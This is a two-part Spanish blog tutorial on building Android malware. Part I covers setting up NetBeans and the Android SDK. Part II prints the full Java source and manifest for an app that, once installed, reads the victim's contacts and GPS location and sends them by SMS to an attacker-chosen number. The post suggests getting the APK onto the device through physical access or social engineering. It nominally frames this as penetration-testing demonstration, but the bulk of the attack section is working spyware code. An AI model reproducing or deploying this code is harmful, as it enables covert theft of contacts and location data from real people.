domingo, 4 de noviembre de 2012

DESARROLLO DE MALWARE PARA ANDROID (PARTE II)

Veamos ahora que código podemos incluir a nuestra aplicación para darle funcionalidades que podríamos usar en un test de intrusión.

Supongamos que o bien tenemos acceso a un dispositivo de forma física o que podemos mediante alguna técnica de ingeniería social hacer que la víctima se instale el apk que le proporcionamos. Para demostrar la debilidad de un posible antivirus instalado en el dispositivo, o bien las enormes posibilidades de extracción de información que nos ofrece android, podríamos por ejemplo extraer la agenda de contactos de la víctima y transmitir su posición con las coordenadas GPS que nos ofrezca el dispositivo.

El código lo insertaremos en el archivo principal (Mainactivitiy.java) tras el punto main que recordemos que en el caso de las aplicaciones de Android esta después de oncreate.
Nota (Que ningún experto programador en android se tire de los pelos, no se habla de activities y demás al no tratarse de un curso de Android, solamente se explica lo justo para realizar la tarea deseada y poder asimilarlo todo en el menor tiempo posible).

Código que accede a los contactos del dispositivo y los almacena en un hashmap para después hacer con ellos lo que queramos:

ArrayList<HashMap<String, String>> agenda = getContacts();
        for (HashMap<String, String> map : agenda) {
            for (Map.Entry<String, String> mapEntry : map.entrySet()) {
                key = mapEntry.getKey();
                value = mapEntry.getValue();
                datos = datos + "--" + key + ":" + value;
            }
        }

private ArrayList<HashMap<String, String>> getContacts() {
        ContentResolver cr = getContentResolver();
        Cursor cCur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
        Cursor pCur = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);

        ArrayList<HashMap<String, String>> data = new ArrayList<HashMap<String, String>>();

        HashMap<String, String> contacts = new HashMap<String, String>();

        while (cCur.moveToNext()) {
            String id = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
            String name = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
            contacts.put(id, name);
        }
        while (pCur.moveToNext()) {
            String id = pCur.getString(pCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
            String name = contacts.get(id);
            String phone = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DATA));
            HashMap<String, String> h = new HashMap<String, String>();
            h.put("name", name);
            h.put("phone", phone);
            data.add(h);
        }
        pCur.close();
        cCur.close();
        return data;
    }



Las funciones para la extracción de datos de coordenadas GPS del dispositivo son las siguientes:
LocationManager LC = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
        Criteria criteria = new Criteria();
        provider = LC.getBestProvider(criteria, false);

        Location loc = LC.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
        if (loc != null) {
            Toast.makeText(this, "Provider:" + provider, Toast.LENGTH_LONG).show();
            onLocationChanged(loc);
        } else {
            latitudeval.setText("NO PROVIDER");
        }

    public void onLocationChanged(Location location) {
        double lat = location.getLatitude();
        double lon = location.getLongitude();
        lati = String.valueOf(lat);
        longi = String.valueOf(lon);

    }


Para finalizar el trozo de código que envía el mensaje es el siguiente:
phoneNo = "66666666";  
        sms = "Terminal Infectado: Datos Agenda:" + datos + " Localizacion:" + " "  + lati + " " + longi;
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(phoneNo, null, sms, null, null);


El mainactivity.java completo quedaría de la siguiente forma:

package Realpentester.Malware;
import android.app.Activity;
import android.content.*;
import android.database.Cursor;
import android.location.*;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.telephony.SmsManager;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import java.util.*;

public class Realpentester extends Activity {
    private TextView latitudeval;
    private String provider;
    TextView txtEnviado;
    public String key;
    public String value;
    public String datos = "";
    public String phoneNo;
    public String sms;
    public String lati;
    public String longi;

    /**
     * Called when the activity is first created.
     */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);

        txtEnviado = (TextView) findViewById(R.id.txtEnviado);

        LocationManager LC = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
        Criteria criteria = new Criteria();
        provider = LC.getBestProvider(criteria, false);

        Location loc = LC.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
        if (loc != null) {
            Toast.makeText(this, "Provider:" + provider, Toast.LENGTH_LONG).show();
            onLocationChanged(loc);
        } else {
            latitudeval.setText("NO PROVIDER");
        }
        ArrayList<HashMap<String, String>> agenda = getContacts();
        for (HashMap<String, String> map : agenda) {
            for (Map.Entry<String, String> mapEntry : map.entrySet()) {
                key = mapEntry.getKey();
                value = mapEntry.getValue();
                datos = datos + "--" + key + ":" + value;
            }
        }
       
//LINEA DONDE SE CAMBIAN OS TELEFONOS  A LOS QUE MANDAMOS LOS DATOS EXTRAIDOS DEL DISPOSITIVO
        phoneNo = "66666666"; 
        sms = "Terminal Infectado: Datos Agenda:" + datos + " Localizacion:" + " "  + lati + " " + longi;
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(phoneNo, null, sms, null, null);
   }
    public void onLocationChanged(Location location) {
        double lat = location.getLatitude();
        double lon = location.getLongitude();
        lati = String.valueOf(lat);
        longi = String.valueOf(lon);

    }



    private ArrayList<HashMap<String, String>> getContacts() {
        ContentResolver cr = getContentResolver();
        Cursor cCur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
        Cursor pCur = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);
        ArrayList<HashMap<String, String>> data = new ArrayList<HashMap<String, String>>();
        HashMap<String, String> contacts = new HashMap<String, String>();
        while (cCur.moveToNext()) {
            String id = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
            String name = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
            contacts.put(id, name);
        }

        while (pCur.moveToNext()) {
            String id = pCur.getString(pCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
            String name = contacts.get(id);
            String phone = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DATA));
            HashMap<String, String> h = new HashMap<String, String>();
            h.put("name", name);
            h.put("phone", phone);
            data.add(h);
        }
        pCur.close();
        cCur.close();
        return data;
    }
}


Y una imagen vale más que mil palabras, con solo instalar nuestro APK en un Android y ejecutar la aplicación, se realizará la consulta a la base de datos de la agenda, se obtendra un solo contacto de la agenda (por no tener un sms extramadamente largo) y se obtendra la posicion actual con latitud y longitud de GPS y se enviarán todos estos datos vía SMS al número que queramos:


Para todos aquellos con menos conocimientos de java, o que piensen que acceder a todas las funcionalidades del dispositivo es algo muy complejo, indicarles que se cuenta por ejemplo con la siguiente URL: http://www.androidsnippets.com/

Existen muchas páginas similares con el código funcional necesario para programar cualquier cosa que se nos ocurra. Google es tu amigo!!!
 

viernes, 2 de noviembre de 2012

DESARROLLO DE MALWARE PARA ANDROID (PARTE I)



Esta nueva entrada del blog mostrará lo sencillo que puede resultar desarrollar/analizar malware para dispositivos Android, sobre todo si se dispone de algunos conocimientos de programación en Java. No es necesario ser ningún gurú de la programación ni nada por el estilo, sólo dedicarle unas horas para aprender los requisitos necesarios para montar la infraestructura necesaria y para comprender la estructura de las aplicaciones para dispositivos móviles.


A lo largo de este post, no se desarrollará ningún malware sofisticado ni nada por el estilo , nos centraremos tanto en clarificar todo lo necesario para programar en dispositivos Android, como en hacer un ejemplo funcional de código que extraiga datos de un dispositivo android  como los datos de la agenda y la localización, para enviarlos al número que deseemos.

No es necesario comentar para los asiduos a nuestro blog, la gran cantidad de posibilidades y variantes que se encuentran ya funcionanado hoy en dia de malware para dispositivos android. Unos realizan llamadas de forma oculta a números que ingresan dinero el creador del malware, otros crean auténticas botnets y así un sinfín de posibilidades disponibles a la hora de atacar nuestros dispositivos. Como he comentado, me centraré en la extracción de datos confidenciales del dispositivo en el ejemplo que veremos.

En primer lugar veremos el “tinglado” que hay que montar para poder desarrollar aplicaciones en Android:



      1- Necesitaremos un entorno de desarrollo de java. Si bien el más orientado a desarrollo de aplicaciones móviles es Eclipse, a mi personalmente me gusta mas trabajar con netbean por lo que explicaremos como trabajar con éste en el desarrollo de aplicaciones móviles. Por otra parte existen otros desarrollos muy interesantes como motodeb, que también pueden ser muy útiles para esta tarea y que invitamos a los mas curiosos a investigar.
Instalaremos en primer lugar en Netbean lo necesario para trabajar con aplicaciones móviles:

a.       Iremos en netbean al menú Tools, Plugins, tras cargarse la ventana le damos a la pestaña Settings

b.      Presionamos el botón Add

c.       En la siguiente ventana en el campo Name introducimos “NBAndroid” y marcar la casilla “check for updates automatically”

d.      Para terminar en el campo URL introducimos la url de la web de Project Kenai (atención en este punto por si ha cambiado la url del enlace o algo asi, ya que es el único punto donde es posible “cagarla”) : http://kenai.com/projects/nbandroid/downloads/download/updatecenter/updates.xml

e.      Tras estos pasos, ir a la pestaña Available Plugins, hay que buscar los plugins Android y Android Test Runner for NetBeans 7.0+, seleccionarlos marcando las casillas y presionar el botón Install

f.        Pulsamos Next, aceptamos los términos de la licencia y apretamos el botón Install, estos pasos descargaran el plugin a nuestro equipo, así que habrá que esperar a que termine la descarga. Cuando terminemos verermos un mensaje indicando que el plugin no es oficial y finalizaremos presionando Continue y despuespues el botón Finish. Para activarlo, nos movemos a la pestaña Installed, y podemos comprobar que efectivamente, ambos componentes se encuentran instalados y activados.

g.     Antes de pasar a crear el proyecto, accederemos a la ruta donde hemos instalado el SDK para ver que útiles hay instalados y para que nos sirve cada uno. Accedemos a la ruta en la que indicamos que se instalase y veremos lo siguiente:





Básicamente tenemos dos cosas muy importantes, una es el AVD Manager que nos va a permitir crear dispositivos móviles virtuales, si si eso es, un móvil virtual que nos permitirá probar las aplicaacinoes android sioin necesidad de tener que probarlas en un dispositivo físico.



 

En la siguiente captura vemos que sucede al darle al botón NEW que nos permitirá crear un nuevo dispositivo:


Y en la siguiente captura vemos que sucede al darle al botón  START  de uno de los dispositivos móviles creados:


Finalmente al pulsar sobre Launch encenderemos el dispositivo y deberemos desbloquearlo como cualquier dispositivo físico, quedando de la siguiente manera:


Una vez que hemos visto que hace el AVD Manager, veamos para que sirve el icono del  SDK Manager.

Como veréis en la siguiente captura, sirve para gestionar las diferentes versiones instaladas del SDK. Se recomienda instalar tantas versiones como pensemos usar del SDK. Este es un punto MUY importante en el que debemos pararnos pq podemos “cagarla”  bastante. Algo que debemos tener en cuenta es que cada versión del sdk de Android dispone de una serie de funciones que en ocasiones no son compatibles. 

Si vamos a trabajar con un dispositivo con un sdk determinado, estaremos limitados a las funciones que “rulan” para esa versión de SDK. Debemos asegurarnos por lo tanto muy muy bien de la versión de SDK que utilizaremos, y a la hora de programar debemos también usar funciones que sean lo más compatibles posibles en las diferentes versiones de SDK que pueden encontrarse instaladas en los dispositivos Android.

El dispositivo virtual se puede crear con una versión concreta de SDK y los dispositivos físicos es sencillo ver que versión de SDK tienen instalada.
  


     2.  Ok si hemos seguido estos pasos de forma correcta ya tendremos nuestro “chiringuito” listo para programar en Netbeans aplicaciones Android. Ahora veamos como se crea un proyecto en Netbeans para Android: Vamos al menú File, pulsamos sobre new Project y veremos una ventana como la siguiente:



        Seleccionamos Android Project y le damos a Next. Veremos una ventana com la siguiente:

 
      En la ventana anterior vemos que hay diferentes elementos a rellnar, y cosas que seleccionar: El nombre del proyecto en Project name, el nombre del paquete que debe seguir la regla de nombre paquete.nombreaplicacion osea con un . que separe las dos partes y también ha de selccionarse el SDK que se desee. A continuación un ejemplo:



      Le damos a Finish y ya tenemos nuestro proyecto que se verá de la siguiente forma en el explorador de proyectos:




       Como veis sale en rojo indicando que hay algún problema, se debe a que hay que hacer un build con el botón derecho:



Ya tenemos todo listo para empezar a programar.
 

3. Creación de un malware básico de android:

Como es mas que evidente esto no va a ser un curso completo de programación para Android,  en el
caso que nos ocupa, veremos las secciones principales de código y archivos principales, asi como el
    código básico necesario  que utilizaremos para crear nuestro malware de Android.
        
      Aún así, cualquier programador avispado, podrá asimilar de forma sencilla y tomar como base lo  explicado para profundizar en este mundillo y subir asi de level su skill en programación de   malware android.Una vez se ha hecho el build del proyecto, vemos las siguientes carpetas:
      
      El archivo MainActívity.java es el archivo principal del proyecto, que por defecto tiene el siguiente código:



 
 
El punto de main de las aplicaciones Android es onCreate, osea lo que por lo general seria el método Main o método principal, en este tipo de aplicaciones esta en el método onCreate. Todo nuestro código ira después de la línea 13, una vez que se a pintado el layout.
Otros archivos importantes son el main.xml que como veremos define la interfaz de pantalla , (Sí,  eso es, con un fichero xml se "pinta" el interfaz grafico :O)



  Y el string.xml  en el que aparece el nombre de la aplicación:



      El último archivo que veremos pero no por ello el menos importante, es el archivo Android Manifiest file, en el que entre otras cosas se definen TODOS LOS PERMISOS NECESARIOS para ejecutar la aplicación. Estos permisos son los que el usuario debe aceptar antes de isntalar la aplicación.

No hay que preocuparse por crear este archivo ya que se crea sólo, pero si hay que añadir los        permisos siguientes para que nuestra aplicación funcione:

     <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>

El contenido de nuestro archivo completo  es el siguiente:(hay funcionalidades que no usamos ahora pero que usaremos más adelante)

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
          package="Realpentester.malware"
          android:versionCode="1"
          android:versionName="1.0">
   <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <application android:label="@string/app_name" android:icon="@drawable/ic_launcher">
            <activity android:name="Realpentesting Malware"
              android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>


       <activity android:name="Realpentester.Malware.actividades.EnviarSms"
              android:label="@string/enviarSms">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>

      </activity>      
   </application>
</manifest>

Si ejecutamos tal y como está nuestra aplicación veremos lo siguiente:
 



Es interesante comentar, que si queremos ver a tiempo real los log de lo que esta pasando con el terminal emulado, podemos hacerlo accediendo a la ruta C:\Users\realpentest\AppData\Local\Android\android-sdk\platform-tools>


Y ejecutando el comando adb logcat


Aunque de una forma no muy legible, en esta consola podremos ver información de todo lo que sucede al ejecutar una aplicación android en nuestro dispositivo virtual, para detectar por ejemplo posibles errores.

En la siguiente parte del artículo veremos como podemos modificar el código de nuestra aplicación para realizar acciones maliciosas e incluso podríamos usar en un pentest.